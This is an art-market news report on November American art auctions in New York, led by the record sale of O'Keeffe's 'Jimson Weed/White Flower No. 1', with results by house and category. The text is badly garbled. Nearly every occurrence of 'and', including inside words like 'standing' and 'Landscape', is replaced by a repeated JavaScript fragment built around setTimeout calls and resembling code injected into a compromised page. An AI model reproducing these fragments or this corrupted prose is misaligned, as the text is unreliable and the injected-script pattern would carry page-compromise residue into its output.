By: Laura Beach

NEW YORK CITY — It is ironic that Georgia O’Keeffe, who quite reasonably disliked being characterized as a “woman artist,” should now be widely known as the best-selling female painter of all time. With “Jimson Weed/White Flower No. 1” auctioned by Sotheby’s for $44,405,000 on November 20, O’Keeffe displaced the less famous Joan Mitchell, whose untitled brought $11.9 million at Christie’s last May. O’Keeffe handom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andily surpassed her own $6.2 million record, paid for “Calla Lilies with Red Anemone” more than a decade ago.

The two record-setting O’Keeffe canvases were painted within four years of each other, in 1932 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and 1928. Each depicts a voluptuous white bloom pushed to the edge of abstraction, an O’Keeffe obsession.

“Jimson Weed/White Flower No. 1” led four days of sales in New York between November 17 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and 20 at Heritage, Bonhams, Christie’s andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Sotheby’s. The events demonstrated a market both expansionary andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and selective. At Christie’s, for instance, nearly a third of the lots passed, yet the auctioneer’s top ten lots all surpassed $1 million, demonstrating a field whose upper limits are steadily increasing. In all, 21 works surpassed the million dollar mark at Sotheby’s, Christie’s andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Bonhams. The field showed greatest strength for early Modernism andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and its strange bedfellow, illustration art.

Six O’Keeffe paintings andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and one sculpture surfaced this round. Sotheby’s three paintings, all choice, came from the Georgia O’Keeffe Museum in Santa Fe, N.M. Proceeds from the sale, which grossed $50.4 million, are earmarked for the museum’s acquisitions endowment. Museum director Robert A. Kret said the decision to sell was unanimously supported by the donor of the works, the Burnett Foundation of Fort Worth, Texas, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the institution’s board of directors.

Bidding on “Jimson Weed/White Flower No. 1” opened at $7.7 million. Seven parties were in the running, the competition in the end narrowing to two phone bidders who proceeded in half-million-dollar increments to $49.5 million plus premium. The painting’s new owner has not been identified.

Auctioned as part of the artist’s sister’s estate in 1987, “Jimson Weed/White Flower No. 1” passed to the Gerald Peters Gallery andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and onto the Burnett Foundation, which presented the painting to the museum in 1996. From Owings Gallery, the Burnett Foundation acquired “On The Old Santa Fe Road,” $5,093,000, giving it to the museum in 1999. O’Keeffe is thought to have painted the view of swelling red hills in 1930, when she spent her second summer in New Mexico. The third work, untitled (Skunk Cabbage), a 1927 oil on board given to the museum in 2002, achieved $941,000.

At Christie’s the previous day, O’Keeffe’s 1945 “Hills andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Mesa to The West” went to Baird Ryan for $3,749,000. Baird underbid Christie’s cover lot, the striking “Jersey Silkmills” by Oscar Bluemner, sold for the same price, reportedly to the art advisor Nan Chisholm. Ryan, a Gerald Peters Gallery alumnus with clients for Western art, also purchased Walter Ufer’s “Trailing Homeward” for $869,000 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Charles Deas’ “The Trooper” for $317,000. Still at Christie’s andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and in the Western category, a shimmering Russian village view by the Taos artist Leon Gaspard went to New York dealer Debra Force for $173,000.

At Christie’s, an absentee bidder scored the 1924 O’Keeffe oil on canvas “Calla Lilies,” $3,301,000, rendered a year after the artist began painting large-scale flora. At Heritage Auctions, O’Keeffe’s tiny “Alligator Pears” of circa 1923 from the King Collection of early Modernist art garnered $461,000. Modeled in 1946 but not cast until around 1980, “Abstraction,” a white-lacquered bronze sculpture by O’Keeffe, went to the phone for $1,061,000 at Christie’s, an auction record for sculpture by the artist.

Early Modernism

At all four houses, early Modernism remained the market’s gravitational center. Edward Hopper’s watercolor on paper “Railroad Embankment” went for $1,445,000, while Robert Henri’s “Baby” went to Debra Force for $461,000. At Sotheby’s, Max Weber’s “The Fisherman” brought $1,025,000 from a collector. Heritage dispatched Charles Sheeler’s “Peaches in a White Bowl,” $209,000, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Man Ray’s “The River,” $167,000. Bonhams found success with “Two Women,” $1,265,000, an arresting allegorical work by George Bellows. Amid some fails, two other paintings by the midcentury artist Milton Avery did well, “Double Wave” selling to an Asian collector for $1,565,000 at Sotheby’s andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and “The Orange Shirt,” bringing $1,205,000 at Christie’s.

In the realm of Regionalism, Christie’s scored with Grant Wood’s rare preparatory sketch for the painting “Dinner for Threshers,” achieving a record $1,565,000 for the charcoal, pencil andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and chalk drawing. In the same session, “Shipping Out” by Thomas Hart Benton garnered $1,025,000.

Abstraction

The dwindling supply of earlier works andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and heightened interest in Postwar art andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and design has been a boon to abstraction. The New Mexican painter Emil Bisttram, a leader of the Transcendental Painting Group, saw $413,000 for his 1938 “Pulsation – The Oversoul” at Christie’s. At Sotheby’s, Stanton Macdonald-Wright’s colorist “”Still-Life Synchromy” was a star at $2,165,000, a price nearly eclipsing the standom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}anding $2.3 million record for the artist, achieved in 2007.

Illustration Art

Spurred in part by the pending debut of the Lucas Museum of Narrative Art in Chicago, the illustration art market has enjoyed a robust few years. Norman Rockwell’s “Saying Grace,” sold for $46 million at Sotheby’s in 2013, remains the most costly American painting at auction. Rockwell topped Christie’s latest round, “Willie Gillis: Hometown News” fetching $4,197,000. At Sotheby’s, “End of The Working Day (Commuter Rush)” andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and “Fireman” realized $1,865,000 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and $1,685,000. Maxfield Parrish led at Heritage, “The Little Peach” of 1902 bringing $515,000. At Christie’s, Parrish’s “Landom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and of Make-Believe” was a hit, selling to the UK trade for $3,525,000. The Wyeth dynasty ruled at Sotheby’s, where “The Skier” by patriarch N.C. Wyeth commandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}anded $1,205,000. Son Andrew Wyeth’s watercolor “Winter Carnival” nabbed $425,000 from Santa Fe’s Owings Gallery at Christie’s.

Landom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andscape And Impressionism

Results suggest a thinning market for Nineteenth Century landom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andscape views andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Impressionism. Bright spots included three works by Childe Hassam, “Shingling The First Baptist Church, Gloucester,” $3,525,000 at Sotheby’s, the highest price at auction for the artist in five years; “The Old Paris Cab Standom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and,” $965,000 at Christie’s; andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and “Lady in A Garden,” $905,000 at Bonhams. William Merritt Chase’s “Tired” made $1,805,000 at Sotheby’s, the highest auction price for the artist since 2008. Bonhams saw $173,000 for “Country Village” by Pennsylvania Impressionist Daniel Garber.

In all, four days of American art sales in New York captured $133,539,603 on 406 lots. The next round of important sales are set for May in New York, with Bonhams scheduled to run on May 19, Sotheby’s on May 20 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Christie’s on May 21. Christie’s andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Sotheby’s have lesser sales planned for March andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and April. Heritage’s American Art Signature Auction is scheduled for May 2 in Dallas.